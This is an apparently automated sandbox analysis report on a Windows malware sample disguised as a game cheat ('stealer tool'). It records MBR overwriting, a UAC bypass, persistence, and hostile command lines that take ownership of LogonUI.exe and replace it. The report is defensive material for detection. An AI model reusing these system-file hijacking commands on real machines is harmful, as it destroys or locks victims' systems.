Analysis

  • max time kernel
    229s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    15/08/2024, 17:26

General

  • Target
    stealer tool + secret options/ADM Adrenaline Ultimate Edition.exe
  • Size 15.0MB
  • Sample240815-v1anystflf
  • SHA256 fc7e799742a1c64361a8a9c3fecdf44f9db85f0bf57f4fb5712519d12ba4c5ac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Disables Task Manager via registry modification
  • Possible privilege escalation attempt 4 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Control Panel 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\stealer tool + secret options\ADM Adrenaline Ultimate Edition.exe
    "C:\Users\Admin\AppData\Local\Temp\stealer tool + secret options\ADM Adrenaline Ultimate Edition.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:484
    • C:\Windows\system32\wscript.exe
      "C:\Windows\sysnative\wscript.exe" C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\E6E7.tmp\E6E8.vbs //Nologo
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:980
      • C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\mbr.exe
        "C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\mbr.exe"
        3⤵
        • Executes dropped EXE
        • Writes to the Master Boot Record (MBR)
        PID:2408
      • C:\Windows\system32\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\tools.cmd" "
        3⤵
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:2892
        • C:\Windows\system32\reg.exe
          reg add "HKEY_CURRENT_USER\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d c:\bg.bmp /f
          4⤵
          • Sets desktop wallpaper using registry
          PID:2536
        • C:\Windows\system32\rundll32.exe
          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
          4⤵
            PID:1776
          • C:\Windows\system32\rundll32.exe
            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
            4⤵
              PID:1140
            • C:\Windows\system32\rundll32.exe
              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
              4⤵
                PID:1536
              • C:\Windows\system32\rundll32.exe
                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                4⤵
                  PID:1636
                • C:\Windows\system32\rundll32.exe
                  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                  4⤵
                    PID:2404
                  • C:\Windows\system32\rundll32.exe
                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                    4⤵
                      PID:1624
                    • C:\Windows\system32\rundll32.exe
                      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                      4⤵
                        PID:1780
                      • C:\Windows\system32\rundll32.exe
                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                        4⤵
                          PID:1724
                        • C:\Windows\system32\rundll32.exe
                          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                          4⤵
                            PID:872
                          • C:\Windows\system32\rundll32.exe
                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                            4⤵
                              PID:1284
                            • C:\Windows\system32\rundll32.exe
                              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                              4⤵
                                PID:324
                              • C:\Windows\system32\rundll32.exe
                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                4⤵
                                  PID:3056
                                • C:\Windows\system32\rundll32.exe
                                  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                  4⤵
                                    PID:916
                                  • C:\Windows\system32\rundll32.exe
                                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                    4⤵
                                      PID:1680
                                    • C:\Windows\system32\rundll32.exe
                                      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                      4⤵
                                        PID:304
                                      • C:\Windows\system32\rundll32.exe
                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                        4⤵
                                          PID:784
                                        • C:\Windows\system32\rundll32.exe
                                          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                          4⤵
                                            PID:2520
                                          • C:\Windows\system32\rundll32.exe
                                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                            4⤵
                                              PID:656
                                            • C:\Windows\system32\rundll32.exe
                                              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                              4⤵
                                                PID:1468
                                              • C:\Windows\system32\rundll32.exe
                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                4⤵
                                                  PID:1684
                                                • C:\Windows\system32\rundll32.exe
                                                  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                  4⤵
                                                    PID:1500
                                                  • C:\Windows\system32\rundll32.exe
                                                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                    4⤵
                                                      PID:1304
                                                    • C:\Windows\system32\rundll32.exe
                                                      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                      4⤵
                                                        PID:816
                                                      • C:\Windows\system32\rundll32.exe
                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                        4⤵
                                                          PID:2148
                                                        • C:\Windows\system32\rundll32.exe
                                                          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                          4⤵
                                                            PID:1588
                                                          • C:\Windows\system32\rundll32.exe
                                                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                            4⤵
                                                              PID:708
                                                            • C:\Windows\system32\rundll32.exe
                                                              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                              4⤵
                                                                PID:1552
                                                              • C:\Windows\system32\rundll32.exe
                                                                RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                4⤵
                                                                  PID:2416
                                                                • C:\Windows\system32\rundll32.exe
                                                                  RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                  4⤵
                                                                    PID:2488
                                                                  • C:\Windows\system32\rundll32.exe
                                                                    RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                    4⤵
                                                                      PID:2304
                                                                    • C:\Windows\system32\rundll32.exe
                                                                      RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                      4⤵
                                                                        PID:2484
                                                                      • C:\Windows\system32\rundll32.exe
                                                                        RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                        4⤵
                                                                          PID:2088
                                                                        • C:\Windows\system32\rundll32.exe
                                                                          RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                          4⤵
                                                                            PID:992
                                                                          • C:\Windows\system32\rundll32.exe
                                                                            RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                            4⤵
                                                                              PID:1508
                                                                            • C:\Windows\system32\rundll32.exe
                                                                              RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters
                                                                              4⤵
                                                                                PID:2448
                                                                            • C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\jeffpopup.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\jeffpopup.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:2456
                                                                            • C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\bobcreep.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\bobcreep.exe"
                                                                              3⤵
                                                                              • Executes dropped EXE
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Suspicious use of SetWindowsHookEx
                                                                              PID:1224
                                                                            • C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\gdifuncs.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\gdifuncs.exe"
                                                                              3⤵
                                                                              • Modifies WinLogon for persistence
                                                                              • UAC bypass
                                                                              • Executes dropped EXE
                                                                              • Drops file in Windows directory
                                                                              • System Location Discovery: System Language Discovery
                                                                              • Modifies Control Panel
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                              • System policy modification
                                                                              PID:764
                                                                              • C:\windows\SysWOW64\takeown.exe
                                                                                "C:\windows\system32\takeown.exe" /f C:\windows\system32\LogonUI.exe
                                                                                4⤵
                                                                                • Possible privilege escalation attempt
                                                                                • Modifies file permissions
                                                                                • System Location Discovery: System Language Discovery
                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                PID:1304
                                                                              • C:\windows\SysWOW64\icacls.exe
                                                                                "C:\windows\system32\icacls.exe" C:\\windows\\system32\\LogonUI.exe /granted "Admin":F
                                                                                4⤵
                                                                                • Possible privilege escalation attempt
                                                                                • Modifies file permissions
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:1284
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c cd\&cd Windows\system32&takeown /f LogonUI.exe&icacls LogonUI.exe /granted "%username%":F&cd..&cd winbase_base_procid_none&cd secureloc0x65&copy "ui65.exe" "C:\windows\system32\LogonUI.exe" /Y&echo WinLTDRStartwinpos > "c:\windows\WinAttr.gci"&timeout 2&taskkill /f /im "tobi0a0c.exe"&exit
                                                                                4⤵
                                                                                • Drops file in Windows directory
                                                                                • System Location Discovery: System Language Discovery
                                                                                PID:844
                                                                                • C:\Windows\SysWOW64\takeown.exe
                                                                                  takeown /f LogonUI.exe
                                                                                  5⤵
                                                                                  • Possible privilege escalation attempt
                                                                                  • Modifies file permissions
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2404
                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                  icacls LogonUI.exe /granted "Admin":F
                                                                                  5⤵
                                                                                  • Possible privilege escalation attempt
                                                                                  • Modifies file permissions
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  PID:1760
                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                  timeout 2
                                                                                  5⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Delays execution with timeout.exe
                                                                                  PID:1500
                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                  taskkill /f /im "tobi0a0c.exe"
                                                                                  5⤵
                                                                                  • System Location Discovery: System Language Discovery
                                                                                  • Kills process with taskkill
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:2488

                                                                        Network

                                                                              MITRE ATT&CK Enterprise v15

                                                                              Replay Monitor

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                                                                              Downloads

                                                                              E6E8.vbs

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\E6E7.tmp\E6E8.vbs
                                                                              • Size 2KB
                                                                              • SHA256 85a07013575a6a890c7b1d26adaa52f17616c4cca673617aa1fc0992aa29dda1
                                                                              • MD5 SHA1 SHA512

                                                                              bg.bmp

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\bg.bmp
                                                                              • Size 6.6MB
                                                                              • SHA256 77897f44096311ddb6d569c2a595eca3967c645f24c274318a51e5346816eb8e
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              bobcreep.exe

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\bobcreep.exe
                                                                              • Size 92KB
                                                                              • SHA256 00c9fdc8b877c7fb8365709155ab28cb3dac282ae7ec9fc9d47a78b408e0d13f
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              gdifuncs.exe

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\gdifuncs.exe
                                                                              • Size 5.0MB
                                                                              • SHA256 7c4f20624dd062a6c71d845d05c6328d5a903ca96398e2902506591b231ed585
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              jeffpopup.exe

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\jeffpopup.exe
                                                                              • Size 780KB
                                                                              • SHA256 5ec45cc1a109f556d0cd44ba48d3bf11af556ee66dd8b78c94d3ef0e93735e8e
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              mainbgtheme.wav

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\mainbgtheme.wav
                                                                              • Size 19.0MB
                                                                              • SHA256 e147a3c7a333cbc90e1bf9c08955d191ce83f33542297121635c1d79ecfdfa36
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              mbr.exe

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\mbr.exe
                                                                              • Size 1.3MB
                                                                              • SHA256 03fe34795ad0f91fc8eb8c9ebe8094541e4fb4d7095095f8b48f345c2a6d0f0c
                                                                              • MD5 SHA1 SHA512 SSDEEP

                                                                              tools.cmd

                                                                              • Path C:\Users\Admin\AppData\Local\Temp\E6E6.tmp\tools.cmd
                                                                              • Size 2KB
                                                                              • SHA256 cf965fcc5a7ca4d9245c706c88b4d5013fb84be27b0ec262facccfadf14bdca2
                                                                              • MD5 SHA1 SHA512

                                                                              YOUDIED 5.txt

                                                                              • Path C:\Users\Admin\Desktop\YOUDIED 5.txt
                                                                              • Size 74B
                                                                              • SHA256 c5e98b515636d1d7b2cd13326b70968b322469dbbe8c76fc7a84e236c1b579c9
                                                                              • MD5 SHA1 SHA512

                                                                              memory/764-241-0x0000000000BA0000-0x00000000010A2000-memory.dmp

                                                                              memory/2408-221-0x0000000000400000-0x00000000004D8000-memory.dmp